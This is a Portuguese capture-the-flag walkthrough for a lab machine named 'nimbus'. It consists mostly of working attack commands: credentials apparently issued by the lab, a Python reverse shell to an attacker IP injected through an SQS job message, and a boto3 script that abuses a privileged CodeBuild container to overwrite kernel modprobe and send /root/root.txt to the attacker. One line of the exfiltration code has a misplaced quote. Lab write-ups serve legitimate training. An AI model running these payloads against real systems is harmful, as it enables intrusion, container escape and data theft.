
Fase 1: Preparação e Instalação de Ferramentas no Kali Local

Abra o terminal do seu Kali Linux e execute os comandos abaixo para apontar os domínios da máquina alvo, instalar o utilitário AWS CLI v2 oficial e criar os arquivos textuais de configuração de credenciais estáticas/temporárias:

```
sudo echo "10.129.18.209 nimbus.htb aws.nimbus.htb" >> /etc/hosts

curl "https://awscli.amazonaws.com/awscli-exe-linux-x86_64.zip" -o "awscliv2.zip"
unzip -q awscliv2.zip
sudo ./aws/install --update
rm -rf awscliv2.zip ./aws

mkdir -p ~/.aws

cat << 'EOF' > ~/.aws/config
[profile nimbus]
region = us-east-1
output = json
EOF

cat << 'EOF' > ~/.aws/credentials
[nimbus]
aws_access_key_id = ASIAQX4PG7L2K9M3N5R8
aws_secret_access_key = bXJ7K8mP/q2Hf+vN9wT4LcRe5Y1Aoz3DhU6gKjQs
aws_session_token =
IQoJb3JpZ2luX2VjEHQaCXVzLWVhc3QtMSJGMEQCIBhV9zPmK3wQjL4nT8vR2xY7AoFqUk5HsP6BeMcW1aD
gAiAR4tNoXzKp8VnJqL7mC3xY9FhWdQ5GBPMrkX2vT8jY6yqsAQiK////////8BEAEaDDAwMDAwMDAwMD
AwMCIMNZ5tQ7vEX2pKlHfqKtoBQwK5HmBcN4gXjVrUe1Pk9YsZ7DqWfThN3bMRoLYyJsKn8GpVxAcQ5VeWk
2HiqXbF6CnXmM4PdYpL3rJzKqGtNvBfHcWyXa8jPzTn5LRMkV1QbWdAyKpGfHzNvU8TmEcL2qPdRhJsKgGn
3VyXmFbBcNJ7QrHe5VpDxKfM
EOF
```

Fase 2: Conquista da Shell e Flag de User

1. Deixe o primeiro listener TCP em modo de escuta na sua máquina de ataque (Kali):

```
rlwrap nc -lnvp 1337
```

2. Em outro terminal do Kali, execute o comando abaixo para injetar o payload em formato JSON no barramento de dados SQS do alvo (Substitua "10.10.15.46" pelo seu IP atual):

```
aws sqs --endpoint-url http://aws.nimbus.htb send-message \
--queue-url http://aws.nimbus.htb/847219365028/nimbus-jobs \
--message-body '{
  "name": "tty-shell",
  "runtime": "python3.11",
  "schedule": "* * * * *",
  "script": "import
socket,subprocess,os,pty;s=socket.socket();s.connect(("10.10.15.46",1337));os.dup
2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/bash"
)"
}' \
--profile nimbus
```

3. Assim que a shell do worker responder no seu listener da porta 1337, capture a flag:

```
cat /home/worker/user.txt
```

Fase 3: Escape de Container e Captura da Flag de Root

1. Abra mais uma aba no terminal do Kali local para receber a conexão de privilégio máximo:

```
rlwrap nc -lnvp 1338
```

2. Retorne para a shell do usuário "worker" que você abriu no passo anterior e execute os comandos abaixo em sequência para limpar o LocalStack, estruturar o script de exploit com as chamadas corretas do modprobe no OverlayFS e disparar o build (Substitua "10.10.15.46"):

```
aws --endpoint-url http://floci:4566 codebuild delete-project --name nimbus-exploit
```

```
cat << 'EOF' > /tmp/exploit_root.py
```

```
import boto3
```

```
ENDPOINT = "http://floci:4566"
```

```
REGION = "us-east-1"
```

```
ATTACKER_IP = "10.10.15.46"
```

```
LPORT = 1338
```

```
buildspec = f"""version: 0.2
```

```
phases:
```

```
  build:
```

```
    commands:
```

```
      - id
```

```
      - cat /proc/self/status | grep Cap
```

```
      - |
```

```
        cat > /tmp/payload.sh << 'PYEOF'
```

```
        #!/bin/sh
```

```
        python3 -c "
```

```
        import socket
```

```
        s = socket.socket()
```

```
        s.connect(({ATTACKER_IP}', {LPORT}))
```

```
        s.send(open('/root/root.txt','rb').read())
```

```
        s.close()
```

```
        "
```

```
        PYEOF
```

```
      - chmod +x /tmp/payload.sh
```

```
      - |
```

```
        upper=$(awk '/overlay/{match($0,/upperdir=([^\,]+)/,a);if(a[1])print  
a[1]}}' /proc/mounts | head -1)
```

```
        echo "$upper/tmp/payload.sh" > /proc/sys/kernel/modprobe
```

```
      - printf '\\xff\\xff\\xff\\xff' > /tmp/x && chmod +x /tmp/x && /tmp/x; true
```

```
"""
```

```
cb = boto3.client("codebuild", endpoint_url=ENDPOINT, region_name=REGION)
```

```
try:
```

```
    cb.create_project(
```

```
        name="nimbus-exploit",
```

```
        source={"type": "NO_SOURCE", "buildspec": buildspec},
```

```
        artifacts={"type": "NO_ARTIFACTS"},
```

```
        environment={
```

```
            "type": "LINUX_CONTAINER",
```

```
            "image": "floci/floci:latest",
```

```
            "computeType": "BUILD_GENERAL1_SMALL",
```

```

        "privilegedMode": True,
        "environmentVariables": [
            {"name": "BASH_FUNC_id%%",
             "value": '() { echo "uid=0(root) gid=0(root) groups=0(root)"; }',
             "type": "PLAINTEXT"}
        ],
    },
    serviceRole="arn:aws:iam::000000000000:role/codebuild-role",
)
print("[+] Projeto recriado com sucesso com as configurações corrigidas!")
except Exception as e:
    print("[!] Ocorreu um erro inesperado:", str(e))

resp = cb.start_build(projectName="nimbus-exploit")
print("started:", resp["build"]["id"])
EOF

python3 /tmp/exploit_root.py

```

3. A flag de root será impressa diretamente no listener do seu terminal Kali (porta 1338).